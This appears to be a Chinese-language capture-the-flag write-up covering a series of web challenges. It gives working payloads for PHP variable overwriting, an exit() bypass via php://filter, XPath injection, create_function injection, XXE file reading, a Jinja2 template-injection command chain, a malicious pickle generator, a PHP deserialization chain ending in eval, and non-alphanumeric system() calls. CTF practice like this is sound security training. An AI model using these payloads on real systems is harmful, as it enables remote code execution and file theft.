到底给不给flag呢

打开简单代码审计一下

就会触发QAQ

给了一个假flag,分析一下题目,我们要传入一个GET参数和一个POST参数,不能直接为它们传入flag参数,否则会输出QAQ,可以看到下面的POST为普通变量覆盖$$key=$value,比如我传入的POST的值为a=b就会被变量覆盖为$a='b'; GET为双重可变变量$$key=$$value,比如我传入?a=b就会被覆盖为$a=$b,我们可以让GET传入?a=flag然后POST传入flag=a来获取覆盖后的flag变量,但是这里有一个陷阱,仔细观察可以发现POST那里是$value,这就导致了我们让其输出的flag只会是字符串flag,所以这题根本就用不到POST,我们可以给GET传入一个中间变量来存储falg的原始值,然后再赋值回去,最后让echo打印原始flag,

pyload:?x=flag&falg=x

写shell

 由于文件开头是 <?php exit(); ,直接访问 shell.php 时PHP解释器会先执行 exit() ,导致后续代码不运行。但可以通过以下方式绕过:

截断 exit() 语句 :利用PHP的短标签或编码绕过。例如,若服务器开启了 short_open_tag ,可提交 content=?>

最终文件内容为:

?filename=php://filter/string.strip_tags/convert.base64-decode/resource=1.php

 此时 ?> 会闭合前面的 <?php ,后续 <?php 会被正常解析。

上传非PHP文件 :若目标允许上传图片等其他类型文件,可将恶意代码写入图片,结合文件包含漏洞(如 include() )执行。
POST data为

content=?>PD9waHAgZWNobyhzeXN0ZW0oJ2NhdCAvZmxhZycpKTs/PiAg
base64解密为:<?php echo(system('cat /flag'));?>

拼接后为

<?php exit();?>PD9waHAgZWNobyhzeXN0ZW0oJ2NhdCAvZmxhZycpKTs/PiAg

随后访问1.php

注入

通过点击发现id参数,但是通过测试,存在过滤

搜索了一下这位大佬的文章文章( https://blog.csdn.net/2301_82086776/article/details/148369880

学到一种绕过方法 :?id=']|//*|//*['

后端把用户输入直接拼进 XPath 查询去查 XML 数据,没有过滤。代码大概长这样:

$xml = simplexml_load_file('x.xml');
$result = $xml->xpath("//user[name='$id']");

?id=']|//*|//*['

拼接后 XPath 变成://user[name='']|//*|//*[']

→ 查询条件被架空,返回整个 XML 树。

某函数的复仇

1.$shaw的限制

空函数,无限制

2.$root的限制

$root不能包含危险命令或字符(如rm、cat、|等)。

这意味着我们不能直接通过$root执行命令。

第一个参数为空的函数,可以使用create_function注入

create_function 能完美适配 $shaw('',$root);这种首参为空字符串的调用——它把传入的 $root 拼成匿名函数体并当场 eval,我们只需在 $root 里用 } 提前闭合函数体、把代码逃逸到函数外执行,再用 // 注释掉多余的

拼接为

function hanshu(){
};readfile('/flag');/*
}

pyload:


get传:?root=;}system('more /f*');/*
post传:shaw=create_function

xxe

发现无论传递什么参数都会指向phpinfo

尝试扫目录果真有发现

进入目录

  1. 这段信息意思是

  2. 报错位置:/var/www/html/dom.php 第 5 行

  3. 报错函数:DOMDocument::loadXML()

  4. 根因:传给这个函数的参数 = 空字符串 ""

  5. 函数职责:loadXML(字符串),要求传入一段合法的 XML 文本来解析;空字符串不是有效的 XML,所以抛出警告

所以此处存在XXE漏洞构造一下

<?xml version="1.0"?>
<!DOCTYPE x [
<!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=flagggg.php">
]>
<x>&f;</x>

解码得到flag

SSTI

打开为,那就传

传递一个1

题目名叫sstl,难道存在服务端模版注入?

试一下{{7*7}}

说明触发了Jinja2引擎算法

构造?name={%for(x)in().__class__.__base__.__subclasses__()%}{%if'war'in(x).__name__%}{{x()._module.__builtins__['__import__']('os').popen('ls /').read()}}{%endif%}{%endfor%}

pyload:   ?name={%for(x)in().__class__.__base__.__subclasses__()%}{%if'war'in(x).__name__%}{{x()._module.__builtins__['__import__']('os').popen('cat /flag').read()}}{%endif%}{%endfor%}

unpickle

还有一个附件下载一下

附件内容

存在漏洞:攻击者构造恶意 pickle 对象 → base64 编码 → 设置 Cookie: user=xxx → 服务端解码 + pickle.loads → 恶意代码执行。

打开给了一段文字

构造反序列化漏洞pickle.loads() 直接反序列化用户可控的Cookie数据。可构造恶意Base64编码的pickle数据(如包含执行系统命令的代码),通过Cookie传入后,服务器会执行任意代码(RCE)

import pickle
import base64

class RCE:
    def __reduce__(self):
        return (eval, ("__import__('os').popen('ls /').read()",))

payload = base64.b64encode(pickle.dumps(RCE(), protocol=2)).decode()
print(payload)

最终pyload:gAJjX19idWlsdGluX18KZXZhbApxAFgqAAAAX19pbXBvcnRfXygnb3MnKS5wb3BlbignY2F0IC9mbGFnJykucmVhZCgpcQGFcQJScQMu

BlackMagic

打开来了一句

编写脚本

得到flag

反序列化

漏洞点:

  • example类的__destruct方法会调用funnnn方法,而funnnn方法会调用$this->handle->close()。

  • process类的close方法使用eval($this->pid),因此控制pid即可执行任意代码。

构造序列化字符串:

  • 创建一个process对象,设置pid为要执行的PHP代码(如列出目录或读取文件)。

  • 创建一个example对象,设置handle为上述process对象。

  • 序列化example对象。
    发送Payload:

将序列化字符串作为data参数通过GET请求发送给目标脚本。

要先找到flag文件,原先ls的不在

Payload: O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:37:"system('cat /var/www/html/flag.php');";}}

找找shell

打开我还以为是环境问题,

扫个目录发现

结合题目给的shell.txt

这是一段混淆的php代码

分为三层

第一层:urldecode 解码初始字符串

urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A")
URL 解码后得到字符串: n1zb/ma5\vt0i28-pxuqy*6lrkdg9_ehcsw o4+f37j

第二层:base64_decode() 解开外层大 base64,得到的 PHP 代码:

`strtr(密文, 查找字符表, 替换字符表)`
`substr($str,0,52)` 取前 52 个作为`from`;`substr($str,52,52)`取后 52 作为`to`。
中间真正被替换的密文,是 `substr($big_b64,104)`,跳过前面 104 字节,剩下交给 strtr 做置换。

第三层

置换完成之后,输出的结果本身又是一段 base64 字符串,再做一次 base64_decode,才得到不带混淆的最终 WebShell 原始源码

蚁剑连一下就得到了

再来ping一波啊

试了一下,发现对常规方式都进行了过滤

在前面添加标点符号尝试绕过

读的时候发现过流空格试了%09可以绕过

又发现好像过滤了index.php

试了双写绕过不了,赋值绕过

;a=in;b=dex;ca\t%09$a$b.php

得到源码,这里没有flag

wu

打开就可以看到源代码

过滤了大小写字母,数字0-9

可以利用PHP ~ 按位取反

~ 是 PHP按位取反运算符。 对一个字符串的每一个字节二进制全部按位取反。

举例子:

$func = "system";
echo urlencode(~$func);

"system"是可见字母;~"system"得到一串完全没有字母数字的二进制字节,url 编码后就是一堆%xx

反过来:

$str = ~"%8C%86%97%93%8C%8B%A0";
echo $str; //输出 system

两个取反抵消:~~"system" === "system"

~"system" → 非字母数字的二进制密文

~(密文) → 还原回 "system"

密文本身只有%和十六进制,没有 A‑Z a‑z 0‑9,可以绕过题目正则。

找到flag文件?a=(~%8C%86%8C%8B%9A%92)((~%93%8C));

相当于system('ls');


pyload:?a=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%85%97%9A%8C%97%96%99%93%9E%98%D1%8F%97%8F);